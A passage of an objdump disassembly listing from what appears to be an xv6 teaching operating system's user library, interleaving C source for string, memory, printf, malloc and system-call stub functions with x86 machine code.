0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 190: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 193: 0f b6 02 movzbl (%edx),%eax p++, q++; 196: 83 c1 01 add $0x1,%ecx 199: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 19c: 84 c0 test %al,%al 19e: 74 10 je 1b0 <strcmp+0x40> 1a0: 38 d8 cmp %bl,%al 1a2: 74 ec je 190 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1a4: 29 d8 sub %ebx,%eax } 1a6: 5b pop %ebx 1a7: 5d pop %ebp 1a8: c3 ret 1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1b0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1b2: 29 d8 sub %ebx,%eax } 1b4: 5b pop %ebx 1b5: 5d pop %ebp 1b6: c3 ret 1b7: 89 f6 mov %esi,%esi 1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001c0 <strlen>: uint strlen(char *s) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1c6: 80 39 00 cmpb $0x0,(%ecx) 1c9: 74 15 je 1e0 <strlen+0x20> 1cb: 31 d2 xor %edx,%edx 1cd: 8d 76 00 lea 0x0(%esi),%esi 1d0: 83 c2 01 add $0x1,%edx 1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1d7: 89 d0 mov %edx,%eax 1d9: 75 f5 jne 1d0 <strlen+0x10> ; return n; } 1db: 5d pop %ebp 1dc: c3 ret 1dd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 1e0: 31 c0 xor %eax,%eax } 1e2: 5d pop %ebp 1e3: c3 ret 1e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001f0 <memset>: void* memset(void *dst, int c, uint n) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 57 push %edi 1f4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1f7: 8b 4d 10 mov 0x10(%ebp),%ecx 1fa: 8b 45 0c mov 0xc(%ebp),%eax 1fd: 89 d7 mov %edx,%edi 1ff: fc cld 200: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 202: 89 d0 mov %edx,%eax 204: 5f pop %edi 205: 5d pop %ebp 206: c3 ret 207: 89 f6 mov %esi,%esi 209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000210 <strchr>: char* strchr(const char *s, char c) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 53 push %ebx 214: 8b 45 08 mov 0x8(%ebp),%eax 217: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 21a: 0f b6 10 movzbl (%eax),%edx 21d: 84 d2 test %dl,%dl 21f: 74 1d je 23e <strchr+0x2e> if(*s == c) 221: 38 d3 cmp %dl,%bl 223: 89 d9 mov %ebx,%ecx 225: 75 0d jne 234 <strchr+0x24> 227: eb 17 jmp 240 <strchr+0x30> 229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 230: 38 ca cmp %cl,%dl 232: 74 0c je 240 <strchr+0x30> for(; *s; s++) 234: 83 c0 01 add $0x1,%eax 237: 0f b6 10 movzbl (%eax),%edx 23a: 84 d2 test %dl,%dl 23c: 75 f2 jne 230 <strchr+0x20> return (char*)s; return 0; 23e: 31 c0 xor %eax,%eax } 240: 5b pop %ebx 241: 5d pop %ebp 242: c3 ret 243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <gets>: char* gets(char *buf, int max) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 57 push %edi 254: 56 push %esi 255: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 256: 31 f6 xor %esi,%esi 258: 89 f3 mov %esi,%ebx { 25a: 83 ec 1c sub $0x1c,%esp 25d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 260: eb 2f jmp 291 <gets+0x41> 262: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 268: 8d 45 e7 lea -0x19(%ebp),%eax 26b: 83 ec 04 sub $0x4,%esp 26e: 6a 01 push $0x1 270: 50 push %eax 271: 6a 00 push $0x0 273: e8 32 01 00 00 call 3aa <read> if(cc < 1) 278: 83 c4 10 add $0x10,%esp 27b: 85 c0 test %eax,%eax 27d: 7e 1c jle 29b <gets+0x4b> break; buf[i++] = c; 27f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 283: 83 c7 01 add $0x1,%edi 286: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 289: 3c 0a cmp $0xa,%al 28b: 74 23 je 2b0 <gets+0x60> 28d: 3c 0d cmp $0xd,%al 28f: 74 1f je 2b0 <gets+0x60> for(i=0; i+1 < max; ){ 291: 83 c3 01 add $0x1,%ebx 294: 3b 5d 0c cmp 0xc(%ebp),%ebx 297: 89 fe mov %edi,%esi 299: 7c cd jl 268 <gets+0x18> 29b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 29d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 2a0: c6 03 00 movb $0x0,(%ebx) } 2a3: 8d 65 f4 lea -0xc(%ebp),%esp 2a6: 5b pop %ebx 2a7: 5e pop %esi 2a8: 5f pop %edi 2a9: 5d pop %ebp 2aa: c3 ret 2ab: 90 nop 2ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2b0: 8b 75 08 mov 0x8(%ebp),%esi 2b3: 8b 45 08 mov 0x8(%ebp),%eax 2b6: 01 de add %ebx,%esi 2b8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 2ba: c6 03 00 movb $0x0,(%ebx) } 2bd: 8d 65 f4 lea -0xc(%ebp),%esp 2c0: 5b pop %ebx 2c1: 5e pop %esi 2c2: 5f pop %edi 2c3: 5d pop %ebp 2c4: c3 ret 2c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002d0 <stat>: int stat(char *n, struct stat *st) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 56 push %esi 2d4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2d5: 83 ec 08 sub $0x8,%esp 2d8: 6a 00 push $0x0 2da: ff 75 08 pushl 0x8(%ebp) 2dd: e8 f0 00 00 00 call 3d2 <open> if(fd < 0) 2e2: 83 c4 10 add $0x10,%esp 2e5: 85 c0 test %eax,%eax 2e7: 78 27 js 310 <stat+0x40> return -1; r = fstat(fd, st); 2e9: 83 ec 08 sub $0x8,%esp 2ec: ff 75 0c pushl 0xc(%ebp) 2ef: 89 c3 mov %eax,%ebx 2f1: 50 push %eax 2f2: e8 f3 00 00 00 call 3ea <fstat> close(fd); 2f7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2fa: 89 c6 mov %eax,%esi close(fd); 2fc: e8 b9 00 00 00 call 3ba <close> return r; 301: 83 c4 10 add $0x10,%esp } 304: 8d 65 f8 lea -0x8(%ebp),%esp 307: 89 f0 mov %esi,%eax 309: 5b pop %ebx 30a: 5e pop %esi 30b: 5d pop %ebp 30c: c3 ret 30d: 8d 76 00 lea 0x0(%esi),%esi return -1; 310: be ff ff ff ff mov $0xffffffff,%esi 315: eb ed jmp 304 <stat+0x34> 317: 89 f6 mov %esi,%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000320 <atoi>: int atoi(const char *s) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 53 push %ebx 324: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 327: 0f be 11 movsbl (%ecx),%edx 32a: 8d 42 d0 lea -0x30(%edx),%eax 32d: 3c 09 cmp $0x9,%al n = 0; 32f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 334: 77 1f ja 355 <atoi+0x35> 336: 8d 76 00 lea 0x0(%esi),%esi 339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 340: 8d 04 80 lea (%eax,%eax,4),%eax 343: 83 c1 01 add $0x1,%ecx 346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 34a: 0f be 11 movsbl (%ecx),%edx 34d: 8d 5a d0 lea -0x30(%edx),%ebx 350: 80 fb 09 cmp $0x9,%bl 353: 76 eb jbe 340 <atoi+0x20> return n; } 355: 5b pop %ebx 356: 5d pop %ebp 357: c3 ret 358: 90 nop 359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000360 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 56 push %esi 364: 53 push %ebx 365: 8b 5d 10 mov 0x10(%ebp),%ebx 368: 8b 45 08 mov 0x8(%ebp),%eax 36b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 36e: 85 db test %ebx,%ebx 370: 7e 14 jle 386 <memmove+0x26> 372: 31 d2 xor %edx,%edx 374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 378: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 37c: 88 0c 10 mov %cl,(%eax,%edx,1) 37f: 83 c2 01 add $0x1,%edx while(n-- > 0) 382: 39 d3 cmp %edx,%ebx 384: 75 f2 jne 378 <memmove+0x18> return vdst; } 386: 5b pop %ebx 387: 5e pop %esi 388: 5d pop %ebp 389: c3 ret 0000038a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 38a: b8 01 00 00 00 mov $0x1,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <exit>: SYSCALL(exit) 392: b8 02 00 00 00 mov $0x2,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <wait>: SYSCALL(wait) 39a: b8 03 00 00 00 mov $0x3,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <pipe>: SYSCALL(pipe) 3a2: b8 04 00 00 00 mov $0x4,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <read>: SYSCALL(read) 3aa: b8 05 00 00 00 mov $0x5,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <write>: SYSCALL(write) 3b2: b8 10 00 00 00 mov $0x10,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <close>: SYSCALL(close) 3ba: b8 15 00 00 00 mov $0x15,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <kill>: SYSCALL(kill) 3c2: b8 06 00 00 00 mov $0x6,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <exec>: SYSCALL(exec) 3ca: b8 07 00 00 00 mov $0x7,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <open>: SYSCALL(open) 3d2: b8 0f 00 00 00 mov $0xf,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <mknod>: SYSCALL(mknod) 3da: b8 11 00 00 00 mov $0x11,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <unlink>: SYSCALL(unlink) 3e2: b8 12 00 00 00 mov $0x12,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <fstat>: SYSCALL(fstat) 3ea: b8 08 00 00 00 mov $0x8,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <link>: SYSCALL(link) 3f2: b8 13 00 00 00 mov $0x13,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <mkdir>: SYSCALL(mkdir) 3fa: b8 14 00 00 00 mov $0x14,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <chdir>: SYSCALL(chdir) 402: b8 09 00 00 00 mov $0x9,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <dup>: SYSCALL(dup) 40a: b8 0a 00 00 00 mov $0xa,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <getpid>: SYSCALL(getpid) 412: b8 0b 00 00 00 mov $0xb,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <sbrk>: SYSCALL(sbrk) 41a: b8 0c 00 00 00 mov $0xc,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <sleep>: SYSCALL(sleep) 422: b8 0d 00 00 00 mov $0xd,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <uptime>: SYSCALL(uptime) 42a: b8 0e 00 00 00 mov $0xe,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <get_flags>: SYSCALL(get_flags) 432: b8 17 00 00 00 mov $0x17,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <set_flag>: SYSCALL(set_flag) 43a: b8 18 00 00 00 mov $0x18,%eax 43f: cd 40 int $0x40 441: c3 ret 00000442 <update_protected_pages>: SYSCALL(update_protected_pages) 442: b8 19 00 00 00 mov $0x19,%eax 447: cd 40 int $0x40 449: c3 ret 44a: 66 90 xchg %ax,%ax 44c: 66 90 xchg %ax,%ax 44e: 66 90 xchg %ax,%ax 00000450 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 57 push %edi 454: 56 push %esi 455: 53 push %ebx 456: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 459: 85 d2 test %edx,%edx { 45b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 45e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 460: 79 76 jns 4d8 <printint+0x88> 462: f6 45 08 01 testb $0x1,0x8(%ebp) 466: 74 70 je 4d8 <printint+0x88> x = -xx; 468: f7 d8 neg %eax neg = 1; 46a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 471: 31 f6 xor %esi,%esi 473: 8d 5d d7 lea -0x29(%ebp),%ebx 476: eb 0a jmp 482 <printint+0x32> 478: 90 nop 479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 480: 89 fe mov %edi,%esi 482: 31 d2 xor %edx,%edx 484: 8d 7e 01 lea 0x1(%esi),%edi 487: f7 f1 div %ecx 489: 0f b6 92 dc 0a 00 00 movzbl 0xadc(%edx),%edx }while((x /= base) != 0); 490: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 492: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 495: 75 e9 jne 480 <printint+0x30> if(neg) 497: 8b 45 c4 mov -0x3c(%ebp),%eax 49a: 85 c0 test %eax,%eax 49c: 74 08 je 4a6 <printint+0x56> buf[i++] = '-'; 49e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 4a3: 8d 7e 02 lea 0x2(%esi),%edi 4a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 4aa: 8b 7d c0 mov -0x40(%ebp),%edi 4ad: 8d 76 00 lea 0x0(%esi),%esi 4b0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 4b3: 83 ec 04 sub $0x4,%esp 4b6: 83 ee 01 sub $0x1,%esi 4b9: 6a 01 push $0x1 4bb: 53 push %ebx 4bc: 57 push %edi 4bd: 88 45 d7 mov %al,-0x29(%ebp) 4c0: e8 ed fe ff ff call 3b2 <write> while(--i >= 0) 4c5: 83 c4 10 add $0x10,%esp 4c8: 39 de cmp %ebx,%esi 4ca: 75 e4 jne 4b0 <printint+0x60> putc(fd, buf[i]); } 4cc: 8d 65 f4 lea -0xc(%ebp),%esp 4cf: 5b pop %ebx 4d0: 5e pop %esi 4d1: 5f pop %edi 4d2: 5d pop %ebp 4d3: c3 ret 4d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 4d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4df: eb 90 jmp 471 <printint+0x21> 4e1: eb 0d jmp 4f0 <printf> 4e3: 90 nop 4e4: 90 nop 4e5: 90 nop 4e6: 90 nop 4e7: 90 nop 4e8: 90 nop 4e9: 90 nop 4ea: 90 nop 4eb: 90 nop 4ec: 90 nop 4ed: 90 nop 4ee: 90 nop 4ef: 90 nop 000004f0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4f0: 55 push %ebp 4f1: 89 e5 mov %esp,%ebp 4f3: 57 push %edi 4f4: 56 push %esi 4f5: 53 push %ebx 4f6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4f9: 8b 75 0c mov 0xc(%ebp),%esi 4fc: 0f b6 1e movzbl (%esi),%ebx 4ff: 84 db test %bl,%bl 501: 0f 84 b3 00 00 00 je 5ba <printf+0xca> ap = (uint*)(void*)&fmt + 1; 507: 8d 45 10 lea 0x10(%ebp),%eax 50a: 83 c6 01 add $0x1,%esi state = 0; 50d: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 50f: 89 45 d4 mov %eax,-0x2c(%ebp) 512: eb 2f jmp 543 <printf+0x53> 514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 518: 83 f8 25 cmp $0x25,%eax 51b: 0f 84 a7 00 00 00 je 5c8 <printf+0xd8> write(fd, &c, 1); 521: 8d 45 e2 lea -0x1e(%ebp),%eax 524: 83 ec 04 sub $0x4,%esp 527: 88 5d e2 mov %bl,-0x1e(%ebp) 52a: 6a 01 push $0x1 52c: 50 push %eax 52d: ff 75 08 pushl 0x8(%ebp) 530: e8 7d fe ff ff call 3b2 <write> 535: 83 c4 10 add $0x10,%esp 538: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 53b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 53f: 84 db test %bl,%bl 541: 74 77 je 5ba <printf+0xca> if(state == 0){ 543: 85 ff test %edi,%edi c = fmt[i] & 0xff; 545: 0f be cb movsbl %bl,%ecx 548: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 54b: 74 cb je 518 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 54d: 83 ff 25 cmp $0x25,%edi 550: 75 e6 jne 538 <printf+0x48> if(c == 'd'){ 552: 83 f8 64 cmp $0x64,%eax 555: 0f 84 05 01 00 00 je 660 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 55b: 81 e1 f7 00 00 00 and $0xf7,%ecx 561: 83 f9 70 cmp $0x70,%ecx 564: 74 72 je 5d8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 566: 83 f8 73 cmp $0x73,%eax 569: 0f 84 99 00 00 00 je 608 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 56f: 83 f8 63 cmp $0x63,%eax 572: 0f 84 08 01 00 00 je 680 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 578: 83 f8 25 cmp $0x25,%eax 57b: 0f 84 ef 00 00 00 je 670 <printf+0x180> write(fd, &c, 1); 581: 8d 45 e7 lea -0x19(%ebp),%eax 584: 83 ec 04 sub $0x4,%esp 587: c6 45 e7 25 movb $0x25,-0x19(%ebp) 58b: 6a 01 push $0x1 58d: 50 push %eax 58e: ff 75 08 pushl 0x8(%ebp) 591: e8 1c fe ff ff call 3b2 <write> 596: 83 c4 0c add $0xc,%esp 599: 8d 45 e6 lea -0x1a(%ebp),%eax 59c: 88 5d e6 mov %bl,-0x1a(%ebp) 59f: 6a 01 push $0x1 5a1: 50 push %eax 5a2: ff 75 08 pushl 0x8(%ebp) 5a5: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5a8: 31 ff xor %edi,%edi write(fd, &c, 1); 5aa: e8 03 fe ff ff call 3b2 <write> for(i = 0; fmt[i]; i++){ 5af: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 5b3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 5b6: 84 db test %bl,%bl 5b8: 75 89 jne 543 <printf+0x53> } } } 5ba: 8d 65 f4 lea -0xc(%ebp),%esp 5bd: 5b pop %ebx 5be: 5e pop %esi 5bf: 5f pop %edi 5c0: 5d pop %ebp 5c1: c3 ret 5c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 5c8: bf 25 00 00 00 mov $0x25,%edi 5cd: e9 66 ff ff ff jmp 538 <printf+0x48> 5d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 5d8: 83 ec 0c sub $0xc,%esp 5db: b9 10 00 00 00 mov $0x10,%ecx 5e0: 6a 00 push $0x0 5e2: 8b 7d d4 mov -0x2c(%ebp),%edi 5e5: 8b 45 08 mov 0x8(%ebp),%eax 5e8: 8b 17 mov (%edi),%edx 5ea: e8 61 fe ff ff call 450 <printint> ap++; 5ef: 89 f8 mov %edi,%eax 5f1: 83 c4 10 add $0x10,%esp state = 0; 5f4: 31 ff xor %edi,%edi ap++; 5f6: 83 c0 04 add $0x4,%eax 5f9: 89 45 d4 mov %eax,-0x2c(%ebp) 5fc: e9 37 ff ff ff jmp 538 <printf+0x48> 601: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 608: 8b 45 d4 mov -0x2c(%ebp),%eax 60b: 8b 08 mov (%eax),%ecx ap++; 60d: 83 c0 04 add $0x4,%eax 610: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 613: 85 c9 test %ecx,%ecx 615: 0f 84 8e 00 00 00 je 6a9 <printf+0x1b9> while(*s != 0){ 61b: 0f b6 01 movzbl (%ecx),%eax state = 0; 61e: 31 ff xor %edi,%edi s = (char*)*ap; 620: 89 cb mov %ecx,%ebx while(*s != 0){ 622: 84 c0 test %al,%al 624: 0f 84 0e ff ff ff je 538 <printf+0x48> 62a: 89 75 d0 mov %esi,-0x30(%ebp) 62d: 89 de mov %ebx,%esi 62f: 8b 5d 08 mov 0x8(%ebp),%ebx 632: 8d 7d e3 lea -0x1d(%ebp),%edi 635: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 638: 83 ec 04 sub $0x4,%esp s++; 63b: 83 c6 01 add $0x1,%esi 63e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 641: 6a 01 push $0x1 643: 57 push %edi 644: 53 push %ebx 645: e8 68 fd ff ff call 3b2 <write> while(*s != 0){ 64a: 0f b6 06 movzbl (%esi),%eax 64d: 83 c4 10 add $0x10,%esp 650: 84 c0 test %al,%al 652: 75 e4 jne 638 <printf+0x148> 654: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 657: 31 ff xor %edi,%edi 659: e9 da fe ff ff jmp 538 <printf+0x48> 65e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 660: 83 ec 0c sub $0xc,%esp 663: b9 0a 00 00 00 mov $0xa,%ecx 668: 6a 01 push $0x1 66a: e9 73 ff ff ff jmp 5e2 <printf+0xf2> 66f: 90 nop write(fd, &c, 1); 670: 83 ec 04 sub $0x4,%esp 673: 88 5d e5 mov %bl,-0x1b(%ebp) 676: 8d 45 e5 lea -0x1b(%ebp),%eax 679: 6a 01 push $0x1 67b: e9 21 ff ff ff jmp 5a1 <printf+0xb1> putc(fd, *ap); 680: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 683: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 686: 8b 07 mov (%edi),%eax write(fd, &c, 1); 688: 6a 01 push $0x1 ap++; 68a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 68d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 690: 8d 45 e4 lea -0x1c(%ebp),%eax 693: 50 push %eax 694: ff 75 08 pushl 0x8(%ebp) 697: e8 16 fd ff ff call 3b2 <write> ap++; 69c: 89 7d d4 mov %edi,-0x2c(%ebp) 69f: 83 c4 10 add $0x10,%esp state = 0; 6a2: 31 ff xor %edi,%edi 6a4: e9 8f fe ff ff jmp 538 <printf+0x48> s = "(null)"; 6a9: bb d3 0a 00 00 mov $0xad3,%ebx while(*s != 0){ 6ae: b8 28 00 00 00 mov $0x28,%eax 6b3: e9 72 ff ff ff jmp 62a <printf+0x13a> 6b8: 66 90 xchg %ax,%ax 6ba: 66 90 xchg %ax,%ax 6bc: 66 90 xchg %ax,%ax 6be: 66 90 xchg %ax,%ax 000006c0 <free>: static Header base; static Header *freep; void free(void *ap) { 6c0: 55 push %ebp Header *bp, *p; bp = (Header *) ap - 1; for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6c1: a1 ec 0e 00 00 mov 0xeec,%eax free(void *ap) { 6c6: 89 e5 mov %esp,%ebp 6c8: 57 push %edi 6c9: 56 push %esi 6ca: 53 push %ebx 6cb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header *) ap - 1; 6ce: 8d 4b f8 lea -0x8(%ebx),%ecx 6d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6d8: 39 c8 cmp %ecx,%eax 6da: 8b 10 mov (%eax),%edx 6dc: 73 32 jae 710 <free+0x50> 6de: 39 d1 cmp %edx,%ecx 6e0: 72 04 jb 6e6 <free+0x26> if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6e2: 39 d0 cmp %edx,%eax 6e4: 72 32 jb 718 <free+0x58> break; if (bp + bp->s.size == p->s.ptr) { 6e6: 8b 73 fc mov -0x4(%ebx),%esi 6e9: 8d 3c f1 lea (%ecx,%esi,8),%edi 6ec: 39 fa cmp %edi,%edx 6ee: 74 30 je 720 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6f0: 89 53 f8 mov %edx,-0x8(%ebx) if (p + p->s.size == bp) { 6f3: 8b 50 04 mov 0x4(%eax),%edx 6f6: 8d 34 d0 lea (%eax,%edx,8),%esi 6f9: 39 f1 cmp %esi,%ecx 6fb: 74 3a je 737 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6fd: 89 08 mov %ecx,(%eax) freep = p; 6ff: a3 ec 0e 00 00 mov %eax,0xeec } 704: 5b pop %ebx 705: 5e pop %esi 706: 5f pop %edi 707: 5d pop %ebp 708: c3 ret 709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 710: 39 d0 cmp %edx,%eax 712: 72 04 jb 718 <free+0x58> 714: 39 d1 cmp %edx,%ecx 716: 72 ce jb 6e6 <free+0x26> free(void *ap) { 718: 89 d0 mov %edx,%eax 71a: eb bc jmp 6d8 <free+0x18> 71c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 720: 03 72 04 add 0x4(%edx),%esi 723: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 726: 8b 10 mov (%eax),%edx 728: 8b 12 mov (%edx),%edx 72a: 89 53 f8 mov %edx,-0x8(%ebx) if (p + p->s.size == bp) { 72d: 8b 50 04 mov 0x4(%eax),%edx 730: 8d 34 d0 lea (%eax,%edx,8),%esi 733: 39 f1 cmp %esi,%ecx 735: 75 c6 jne 6fd <free+0x3d> p->s.size += bp->s.size; 737: 03 53 fc add -0x4(%ebx),%edx freep = p; 73a: a3 ec 0e 00 00 mov %eax,0xeec p->s.size += bp->s.size; 73f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 742: 8b 53 f8 mov -0x8(%ebx),%edx 745: 89 10 mov %edx,(%eax) } 747: 5b pop %ebx 748: 5e pop %esi 749: 5f pop %edi 74a: 5d pop %ebp 74b: c3 ret 74c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000750 <morecore>: static Header* morecore(uint nu, int pmalloced) { 750: 55 push %ebp char *p; Header *hp; if(nu < 4096 && !pmalloced) 751: 3d ff 0f 00 00 cmp $0xfff,%eax { 756: 89 e5 mov %esp,%ebp 758: 56 push %esi 759: 53 push %ebx 75a: 89 c3 mov %eax,%ebx if(nu < 4096 && !pmalloced) 75c: 77 52 ja 7b0 <morecore+0x60> 75e: 83 e2 01 and $0x1,%edx 761: 75 4d jne 7b0 <morecore+0x60> 763: be 00 80 00 00 mov $0x8000,%esi nu = 4096; 768: bb 00 10 00 00 mov $0x1000,%ebx printf(1 , "enter morecore %d\n", nu); 76d: 83 ec 04 sub $0x4,%esp 770: 53 push %ebx 771: 68 ed 0a 00 00 push $0xaed 776: 6a 01 push $0x1 778: e8 73 fd ff ff call 4f0 <printf> p = sbrk(nu * sizeof(Header)); 77d: 89 34 24 mov 